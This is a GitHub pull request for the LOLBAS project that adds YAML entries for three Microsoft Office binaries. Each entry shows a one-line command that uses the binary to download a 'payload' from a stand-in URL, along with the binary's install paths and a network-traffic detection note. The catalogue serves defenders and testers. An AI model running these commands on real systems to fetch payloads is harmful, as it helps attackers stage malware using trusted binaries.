

[Sign in](#)

[LOLBAS-Project / LOLBAS](#) Public

Notifications

Fork 990

Star 7.1k

[Code](#)

[Issues 20](#)

[Pull requests 20](#)

[Actions](#)

[Projects](#)

[Security](#)

[Insights](#)

Add 3 new MS Office downloaders #238

New issue

Merged

wietze merged 7 commits into [LOLBAS-Project:master](#) from [C-h4ck-0:Add_new_MS_Office_Downloaders](#) on Oct 4, 2022

Conversation 1

Commits 7

Checks 0

Files changed

Changes from all commits ▾ File filter ▾ Conversations ▾ ⚙ ▾

Filter changed files

▼ yml/OtherMSBinaries

MsoHtmEd.yml

Mspub.yml

ProtocolHandler.yml

34 yml/OtherMSBinaries/MsoHtmEd.yml

@@ -0,0 +1,34 @@

1 + ---

2 + Name: MsoHtmEd.exe

3 + Description: Microsoft Office component

4 + Author: Nir Chako

5 + Created: 2022-07-24

6 + Commands:

7 + - Command: MsoHtmEd.exe

8 + https://example.com/payload

9 + Description: Downloads payload from remote server

10 + Usecase: It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)

11 + Category: Download


12 + Privileges: User

13 + MitreID: T1105

14 + OperatingSystem: Windows 10, Windows 11

15 + Full_Path:

```
15 + - Path: C:\Program Files (x86)\Microsoft Office
    16\ClientX86\Root\Office16\MSOHTMED.exe
16 + - Path: C:\Program Files\Microsoft Office
    16\ClientX64\Root\Office16\MSOHTMED.exe
17 + - Path: C:\Program Files (x86)\Microsoft
    Office\Office16\MSOHTMED.exe
18 + - Path: C:\Program Files\Microsoft
    Office\Office16\MSOHTMED.exe
19 + - Path: C:\Program Files (x86)\Microsoft Office
    15\ClientX86\Root\Office15\MSOHTMED.exe
20 + - Path: C:\Program Files\Microsoft Office
    15\ClientX64\Root\Office15\MSOHTMED.exe
21 + - Path: C:\Program Files (x86)\Microsoft
    Office\Office15\MSOHTMED.exe
22 + - Path: C:\Program Files\Microsoft
    Office\Office15\MSOHTMED.exe
23 + - Path: C:\Program Files (x86)\Microsoft Office
    14\ClientX86\Root\Office14\MSOHTMED.exe
24 + - Path: C:\Program Files\Microsoft Office
    14\ClientX64\Root\Office14\MSOHTMED.exe
25 + - Path: C:\Program Files (x86)\Microsoft
    Office\Office14\MSOHTMED.exe
26 + - Path: C:\Program Files\Microsoft
    Office\Office14\MSOHTMED.exe
27 + - Path: C:\Program Files (x86)\Microsoft
    Office\Office12\MSOHTMED.exe
28 + - Path: C:\Program Files\Microsoft
    Office\Office12\MSOHTMED.exe
29 + - Path: C:\Program Files\Microsoft
    Office\Office12\MSOHTMED.exe
30 + Detection:
31 + - IOC: Suspicious Office application
    internet/network traffic
32 + Acknowledgement:
33 + - Person: Nir Chako (Pentera)
34 + Handle: '@C_h4ck_0'
```

▼ 31 ■■■■■ yml/OtherMSBinaries/Mspub.yml  ...

...	...	@@ -0,0 +1,31 @@
1	+	---
2	+	Name: Mspub.exe
3	+	Description: Microsoft Publisher
4	+	Author: Nir Chako
5	+	Created: 2022-08-02
6	+	Commands:

```
7 + - Command: mspub.exe https://example.com/payload
8 +   Description: Downloads payload from remote
  server
9 +   Usecase: It will download a remote payload and
  place it in the cache folder (for example -
  %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
10 +   Category: Download
11 +   Privileges: User
12 +   MitreID: T1105
13 +   OperatingSystem: Windows 10, Windows 11
14 + Full_Path:
15 + - Path: C:\Program Files (x86)\Microsoft Office
  16\ClientX86\Root\Office16\MSPUB.exe
16 + - Path: C:\Program Files\Microsoft Office
  16\ClientX64\Root\Office16\MSPUB.exe
17 + - Path: C:\Program Files (x86)\Microsoft
  Office\Office16\MSPUB.exe
18 + - Path: C:\Program Files\Microsoft
  Office\Office16\MSPUB.exe
19 + - Path: C:\Program Files (x86)\Microsoft Office
  15\ClientX86\Root\Office15\MSPUB.exe
20 + - Path: C:\Program Files\Microsoft Office
  15\ClientX64\Root\Office15\MSPUB.exe
21 + - Path: C:\Program Files (x86)\Microsoft
  Office\Office15\MSPUB.exe
22 + - Path: C:\Program Files\Microsoft
  Office\Office15\MSPUB.exe
23 + - Path: C:\Program Files (x86)\Microsoft Office
  14\ClientX86\Root\Office14\MSPUB.exe
24 + - Path: C:\Program Files\Microsoft Office
  14\ClientX64\Root\Office14\MSPUB.exe
25 + - Path: C:\Program Files (x86)\Microsoft
  Office\Office14\MSPUB.exe
26 + - Path: C:\Program Files\Microsoft
  Office\Office14\MSPUB.exe
27 + Detection:
28 + - IOC: Suspicious Office application
  internet/network traffic
29 + Acknowledgement:
30 + - Person: 'Nir Chako (Pentera)'  
31 +   Handle: '@C_h4ck_0'
```

▼ 27 ■■■■■ yml/OtherMSBinaries/ProtocolHandler.yml

... ... @@ -0,0 +1,27 @@

1 + ---

```
2 + Name: ProtocolHandler.exe
3 + Description: Microsoft Office binary
4 + Author: Nir Chako
5 + Created: 2022-07-24
6 + Commands:
7 +   - Command: ProtocolHandler.exe
      https://example.com/payload
8 +   Description: Downloads payload from remote
      server
9 +   Usecase: It will download a remote payload and
      place it in the cache folder (for example -
      %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
10 +   Category: Download
11 +   Privileges: User
12 +   MitreID: T1105
13 +   OperatingSystem: Windows 10, Windows 11
14 + Full_Path:
15 +   - Path: C:\Program Files (x86)\Microsoft Office
      16\ClientX86\Root\Office16\ProtocolHandler.exe
16 +   - Path: C:\Program Files\Microsoft Office
      16\ClientX64\Root\Office16\ProtocolHandler.exe
17 +   - Path: C:\Program Files (x86)\Microsoft
      Office\Office16\ProtocolHandler.exe
18 +   - Path: C:\Program Files\Microsoft
      Office\Office16\ProtocolHandler.exe
19 +   - Path: C:\Program Files (x86)\Microsoft Office
      15\ClientX86\Root\Office15\ProtocolHandler.exe
20 +   - Path: C:\Program Files\Microsoft Office
      15\ClientX64\Root\Office15\ProtocolHandler.exe
21 +   - Path: C:\Program Files (x86)\Microsoft
      Office\Office15\ProtocolHandler.exe
22 +   - Path: C:\Program Files\Microsoft
      Office\Office15\ProtocolHandler.exe
23 + Detection:
24 +   - IOC: Suspicious Office application
      Internet/network traffic
25 + Acknowledgement:
26 +   - Person: Nir Chako (Pentera)
27 +   Handle: '@C_h4ck_0'
```

